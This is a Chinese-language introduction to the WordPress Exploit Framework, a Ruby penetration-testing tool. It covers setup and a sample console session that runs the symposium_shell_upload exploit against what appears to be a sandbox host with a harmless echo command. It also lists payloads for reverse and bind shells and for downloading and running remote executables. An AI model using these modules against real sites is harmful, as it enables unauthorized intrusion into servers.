这个Ruby框架包含一些能够渗透测试WordPress网站和系统的模块,用户也可以自己开发模块扩展其功能。
运行它需要什么条件?
确保系统上安装了Ruby 2.2.x,打开一个命令行窗口,切换当前目录到WPXF文件夹下,运行命令“bundle install”,如果你的系统上没有安装bundler,可以通过执行命令“gem install bundler”安装。
如何使用它?
打开一个命令行窗口,切换当前目录到你下载保存WordPress Exploit Framework的路径,执行命令“ruby wpxf.rb”就可以启动它。
wpxf一旦加载起来,会出现一个wpxf提示符,你可以使用“search”命令来搜索模块,使用“use”命令来加载模块。
把模块加载到程序运行环境中后,可以使用“set”命令来设置选项参数,使用“info”命令查看模块相关的信息。
下面是一个例子,加载“symposium_shell_upload”漏洞利用模块,设置模块和载荷的参数,最后,执行这个漏洞利用模块攻击目标。
wpxf > use exploit/symposium_shell_upload
[+] Loaded module: #
wpxf [exploit/symposium_shell_upload] > set host wp-sandbox
[+] Set host => wp-sandbox
wpxf [exploit/symposium_shell_upload] > set target_uri /wordpress/
[+] Set target_uri => /wordpress/
wpxf [exploit/symposium_shell_upload] > set payload exec
[+] Loaded payload: #
wpxf [exploit/symposium_shell_upload] > set cmd echo "Hello, world!"
[+] Set cmd => echo "Hello, world!"
wpxf [exploit/symposium_shell_upload] > run
[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully
在github可以获得所有命令的列表。
辅助模块和漏洞利用模块有什么区别?
辅助模块并不能让你在目标机器上运行攻击载荷,但是能够解析目标的信息,提升权限或者提供拒绝服务的功能。
漏洞利用模块需要你指定一个攻击载荷,这将会在目标机器上执行,你可以在目标机上执行任意代码提取信息,建立一个远程shell或者其他你想在Web服务器上做的事情。
有哪些可用的载荷?
bind_php:上传一个在特定端口监听的脚本,允许WPXF建立一个远程shell;
custom:上传并执行一个定制的PHP脚本;
download_exec:下载并运行一个远程可执行文件;
exec:在远程服务器上运行一个shell命令,并把结果返回到WPXF会话;
reverse_tcp:上传一个能够建立反连TCP shell的脚本;
除了“custom”,所有这些载荷都会在执行完之后删除自己,避免在使用之后或者建立shell连接失败之后遗留在目标机器上。
如何编写自己的模块和载荷?
编写模块和载荷的方法可以在Github找到,所有的API文档都在Getwpxf。
在github可以下载Wordpress-Exploit-Framework